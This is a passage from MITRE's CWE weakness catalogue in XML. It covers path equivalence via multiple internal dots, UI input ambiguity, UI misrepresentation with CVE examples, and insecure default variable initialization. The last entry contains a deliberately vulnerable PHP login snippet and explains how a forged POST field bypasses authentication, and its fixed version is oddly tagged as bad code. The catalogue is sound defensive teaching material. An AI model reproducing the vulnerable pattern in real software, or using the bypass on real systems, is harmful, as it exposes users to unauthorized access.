				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="45" Name="Path Equivalence: 'file...name' (Multiple Internal Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple internal dot ('file...dir') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>44</Relationship_Target_ID>
					          <!--Path Equivalence: 'file.name' (Internal Dot)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>165</Relationship_Target_ID>
					          <!--Improper Neutralization of Multiple Internal Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This variant does not have any easily findable, publicly reported
						vulnerabilities, but it can be an effective manipulation in weaknesses such
						as validate-before-cleanse, which might use a regular expression that
						removes ".." sequences from a string to produce an unexpected string.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Internal Dot - 'file...dir'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple
						Internal Dot - 'file...dir'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="450" Name="Multiple Interpretations of UI Input" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The UI has multiple interpretations of user input but does not
					prompt the user when it selects the less secure
					interpretation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>357</Relationship_Target_ID>
					          <!--Insufficient UI Warning of Dangerous Operations-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>445</Relationship_Target_ID>
					          <!--User Interface Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Interpretations of UI Input</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="451" Name="UI Misrepresentation of Critical Information" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The UI does not properly represent critical information to the
					user, allowing the information - or its source - to be obscured or spoofed. This
					is often a component in phishing attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>445</Relationship_Target_ID>
					          <!--User Interface Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>346</Relationship_Target_ID>
					          <!--Origin Validation Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This category needs refinement.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>Overlaps Wheeler's "Semantic Attacks"</Text>
					          <Text>Here are some examples of misrepresentation: [*] icon manipulation (making
						a .EXE look like a .GIF) [*] homographs: letters from different character
						sets/languages that look similar. The use of homographs is effectively a
						manipulation of a visual equivalence property. [*] a race condition can
						cause the UI to present the user with "safe" or "trusted" feedback before
						the product has fully switched context. The race window could be extended
						indefinitely if the attacker can trigger an error. [*] "Window injection"
						vulnerabilities (though these are usually resultant from privilege problems)
						[*] status line modification (e.g. CVE-2004-1104) [*] various other web
						browser issues. [*] GUI truncation (e.g. filename with dangerous extension
						not displayed to GUI because of truncation) - CVE-2004-2227 - GUI truncation
						enables information hiding [*] injected internal spaces (e.g. "filename.txt
						.exe" - though this overlaps truncation [*] Also consider DNS spoofing
						problems - can be used for misrepresentation.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform data validation (e.g. syntax, length, etc.) before
							interpreting the data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Create a strategy for presenting information, and plan for how to
							display unusual characters.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0398</Observed_Example_Reference>
					          <Observed_Example_Description>Attachment with many spaces in filename bypasses
						"dangerous content" warning and uses different icon. Likely
						resultant.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0643</Observed_Example_Reference>
					          <Observed_Example_Description>Misrepresentation and equivalence
						issue.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0593</Observed_Example_Reference>
					          <Observed_Example_Description>Lock spoofing from several different
						Weaknesses.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0143</Observed_Example_Reference>
					          <Observed_Example_Description>Wrong status / state notifier -- Lock icon
						displayed when an insecure page loads a binary file loaded from a trusted
						site.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0144</Observed_Example_Reference>
					          <Observed_Example_Description>Wrong status / state notifier -- Secure "lock"
						icon is presented for one channel, while an insecure page is being
						simultaneously loaded in another channel.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0761</Observed_Example_Reference>
					          <Observed_Example_Description>Wrong status / state notifier -- Certain redirect
						sequences cause security lock icon to appear in web browser, even when page
						is not encrypted.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2219</Observed_Example_Reference>
					          <Observed_Example_Description>Wrong status / state notifier -- Spoofing via
						multi-step attack that causes incorrect information to be displayed in
						browser address bar.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0537</Observed_Example_Reference>
					          <Observed_Example_Description>Overlay -- Wide "favorites" icon can overlay and
						obscure address bar</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>OSVDB:5703</Observed_Example_Reference>
					          <Observed_Example_Description>Overlay -- GUI overlay vulnerability
						(misrepresentation)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2271</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Web browsers do not clearly
						associate a Javascript dialog box with the web page that generated it,
						allowing spoof of the source of the dialog. "origin validation error" of a
						sort?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2272</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Web browsers do not clearly
						associate a Javascript dialog box with the web page that generated it,
						allowing spoof of the source of the dialog. "origin validation error" of a
						sort?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2273</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Web browsers do not clearly
						associate a Javascript dialog box with the web page that generated it,
						allowing spoof of the source of the dialog. "origin validation error" of a
						sort?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2274</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Web browsers do not clearly
						associate a Javascript dialog box with the web page that generated it,
						allowing spoof of the source of the dialog. "origin validation error" of a
						sort?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1410</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Browser allows attackers to
						create chromeless windows and spoof victim's display using unprotected
						Javascript method.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0197</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Chat client allows remote
						attackers to spoof encrypted, trusted messages with lines that begin with a
						special sequence, which makes the message appear
						legitimate.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0831</Observed_Example_Reference>
					          <Observed_Example_Description>Visual distinction -- Product allows spoofing
						names of other users by registering with a username containing hex-encoded
						characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1025</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Special character in URL
						causes web browser to truncate the user portion of the "user@domain" URL,
						hiding real domain in the address bar.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0243</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Chat client does not display
						long filenames in file dialog boxes, allowing dangerous extensions via
						manipulations including (1) many spaces and (2) multiple file
						extensions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1575</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Web browser file download
						type hiding using whitespace.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2530</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Visual truncation in chat
						client using whitespace to hide dangerous file
						extension.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0590</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Dialog box in web browser
						allows user to spoof the hostname via a long "user:pass" sequence in the
						URL, which appears before the real hostname.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>OSVDB:6009</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- GUI obfuscation (visual
						truncation) in web browser - obscure URLs using a large amount of
						whitespace. Note - "visual truncation" covers a couple
						variants.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-145</Observed_Example_Reference>
					          <Observed_Example_Description>Visual truncation -- Null character in URL
						prevents entire URL from being displayed in web
						browser.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2258</Observed_Example_Reference>
					          <Observed_Example_Description>Miscellaneous -- [step-based attack, GUI] --
						Password-protected tab can be bypassed by switching to another tab, then
						back to original tab.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1678</Observed_Example_Reference>
					          <Observed_Example_Description>Miscellaneous -- Dangerous file extensions not
						displayed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0722</Observed_Example_Reference>
					          <Observed_Example_Description>Miscellaneous -- Web browser allows remote
						attackers to misrepresent the source of a file in the File Download dialogue
						box.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Misrepresentation problems are frequently studied in web browsers, but
						there are no known efforts for categorizing these problems in terms of the
						shortcomings of the interface. In addition, many misrepresentation issues
						are resultant.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UI Misrepresentation of Critical
						Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="453" Name="Insecure Default Variable Initialization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software, by default, initializes an internal variable with
					an insecure or less secure value than is possible.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>665</Relationship_Target_ID>
					          <!--Improper Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This overlaps other categories, probably should be split into separate
						items.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain access to and modify sensitive data or system
							information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Disable or change default settings when they can be used to abuse the
							system. Since those default settings are shipped with the product they
							are likely to be known by a potential attacker who is familiar with the
							product. For instance, default credentials should be changed or the
							associated accounts should be disabled.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code attempts to login a user using credentials from a POST
						request:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment>// $user and $pass automatically set from POST
								request</Comment>
							              <Code>if (login_user($user,$pass)) {</Code>
							              <Block>
								                <Code>$authorized = true;</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>...</Comment>
							              <Code>if ($authorized) {</Code>
							              <Block>
								                <Code>generatePage();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the $authorized variable is never initialized, PHP will
							automatically set $authorized to any value included in the POST request
							if register_globals is enabled. An attacker can send a POST request with
							an unexpected third value 'authorized' set to 'true' and gain authorized
							status without supplying valid credentials. </Text>
						            <Text> Here is a fixed version: </Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$user = $_POST['user'];</Code>
							              <Code>$pass = $_POST['pass'];</Code>
							              <Code>$authorized = false;</Code>
							              <Code>if (login_user($user,$pass)) {</Code>
							              <Block>
								                <Code> $authorized = true;</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>...</Comment>
						            </Block>
						            <Text>This code avoids the issue by initializing the $authorized variable to
							false and explicitly retrieving the login credentials from the $_POST
							variable. Regardless, register_globals should never be enabled and is
							disabled by default in current versions of PHP.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insecure default variable initialization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
